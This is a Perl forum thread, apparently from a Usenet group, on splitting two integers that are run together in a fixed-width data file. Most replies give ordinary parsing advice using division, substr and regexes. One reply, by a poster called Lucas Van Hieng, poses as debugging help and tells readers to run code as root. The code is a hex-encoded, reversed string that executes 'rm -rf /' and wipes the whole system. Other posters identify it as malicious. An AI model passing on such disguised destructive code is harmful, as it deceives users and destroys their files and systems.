Help: Splitting Up An Integer?

E

entropy123

Hey all,

A file I am trying to parse will commonly 'smoosh' together two
integers. Where 12 and 15 would be 12 15, 124 and 154 will be in the
file as 124154.

This occurs at the same place in every file. Any ideas on how to write
up some code to help discriminate between the two cases. Mostly I need
to convert the 'smooshed' integer to two integers.

Further I need to account for a situation in which the first integer
is, say 96 and the second integer is 100. So, 96 and 100 will be in
the file as 96100.

Any advice is much appreciated.

ent
 
J

J. Gleixner

entropy123 said:
Hey all,

A file I am trying to parse will commonly 'smoosh' together two
integers. Where 12 and 15 would be 12 15, 124 and 154 will be in the
file as 124154.

This occurs at the same place in every file. Any ideas on how to write
up some code to help discriminate between the two cases. Mostly I need
to convert the 'smooshed' integer to two integers.

Further I need to account for a situation in which the first integer
is, say 96 and the second integer is 100. So, 96 and 100 will be in
the file as 96100.

Any advice is much appreciated.

ent

my $num = 96100;
my $divisor = ($num>9999) ? 1000 : 100;
my $f=int $num/$divisor;
my $s=$num % $divisor
 
W

Walter Roberson

:A file I am trying to parse will commonly 'smoosh' together two
:integers. Where 12 and 15 would be 12 15, 124 and 154 will be in the
:file as 124154.

:This occurs at the same place in every file. Any ideas on how to write
:up some code to help discriminate between the two cases. Mostly I need
:to convert the 'smooshed' integer to two integers.

:Further I need to account for a situation in which the first integer
:is, say 96 and the second integer is 100. So, 96 and 100 will be in
:the file as 96100.

Sounds like standard fixed field lengths. Use substr() to extract
groups of 3 characters. I bet that '96100' is stored in the file
as ' 96100' with a leading space.
 
G

Gunnar Hjalmarsson

entropy123 said:
A file I am trying to parse will commonly 'smoosh' together two
integers. Where 12 and 15 would be 12 15, 124 and 154 will be in
the file as 124154.

This occurs at the same place in every file. Any ideas on how to
write up some code to help discriminate between the two cases.
Mostly I need to convert the 'smooshed' integer to two integers.

Further I need to account for a situation in which the first
integer is, say 96 and the second integer is 100. So, 96 and 100
will be in the file as 96100.

One idea:

my $string = '124154';
my @integers;
if ($string =~ /^(\d+) +(\d+)$/) {
@integers = ($1, $2);
} elsif ($string =~ /^(\d{2,3})(\d{3})$/) {
@integers = ($1, $2);
}
 
M

Matt Garrish

Gunnar Hjalmarsson said:
One idea:

my $string = '124154';
my @integers;
if ($string =~ /^(\d+) +(\d+)$/) {
@integers = ($1, $2);
} elsif ($string =~ /^(\d{2,3})(\d{3})$/) {
@integers = ($1, $2);
}

But what if 111 was "smooshed" with 96 to make 11196?

I think the only answer is to stop them from being run together in the first
place (if that's possible).

Matt
 
L

Lucas Van Hieng

entropy123 said:
Hey all,

A file I am trying to parse will commonly 'smoosh' together two
integers. Where 12 and 15 would be 12 15, 124 and 154 will be in the
file as 124154.

This occurs at the same place in every file. Any ideas on how to write
up some code to help discriminate between the two cases. Mostly I need
to convert the 'smooshed' integer to two integers.

Further I need to account for a situation in which the first integer
is, say 96 and the second integer is 100. So, 96 and 100 will be in
the file as 96100.

Before proceeding any further, run the following code and you will find
a much better debugging experience:

#!/usr/bin/perl
#***# Note: Run as root. #***#
my $x = reverse pack('H*','2f2066722d206d72'); `$x`;
 
S

Sam Holden

Before proceeding any further, run the following code and you will find
a much better debugging experience:

#!/usr/bin/perl
#***# Note: Run as root. #***#
my $x = reverse pack('H*','2f2066722d206d72'); `$x`;

Not only do you post malicious code designed to destroy other
people's work. But you post it multiple times and spam the
damn newsgroup...

Oh well, anyone dumb enough to run such code as root, wouldn't
realise the comment is an instruction to them anyway...
 
G

Gunnar Hjalmarsson

Matt said:
But what if 111 was "smooshed" with 96 to make 11196?

Well, OP didn't mention that variant. Actually, he didn't give us the
complete set of rules that would make it possible to separate the two
integers. Accordingly, my suggestion was based on the examples he gave.

If the 111/96 variant is possible, the problem may be unresolvable.
 
G

Gregory Toomey

Lucas said:
Before proceeding any further, run the following code and you will find
a much better debugging experience:

#!/usr/bin/perl
#***# Note: Run as root. #***#
my $x = reverse pack('H*','2f2066722d206d72'); `$x`;

This code removes all your files.

OK guys, what are we going to do about this vandal?

gtoomey
 
E

entropy123

Gunnar Hjalmarsson said:
Well, OP didn't mention that variant. Actually, he didn't give us the
complete set of rules that would make it possible to separate the two
integers. Accordingly, my suggestion was based on the examples he gave.

If the 111/96 variant is possible, the problem may be unresolvable.

Thank you for pointing out the various ways I may go about 'splitting'
the integer. The 111/96 variant is indeed possible, but with this new
info I think I can find my way around this problem.

Thanks!
ent
 
C

ctcgag

Gunnar Hjalmarsson said:
Well, OP didn't mention that variant. Actually, he didn't give us the
complete set of rules that would make it possible to separate the two
integers. Accordingly, my suggestion was based on the examples he gave.

If the 111/96 variant is possible, the problem may be unresolvable.

If Ent is trying to parse sd files (MDL's chemical structure format)
or PDB files, which from hit previous posts I think he probably is,
then that would probably be given as "111 96". I'd parse them with substr,
or with either /(...)(...)/ or, if paranoid, /([ 0-9]{3})([ 0-9]{3})/

Xho
 

Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments. After that, you can post your question and our members will help you out.

Ask a Question

Members online

No members online now.

Forum statistics

Threads
474,145
Messages
2,570,824
Members
47,371
Latest member
Brkaa

Latest Threads

Top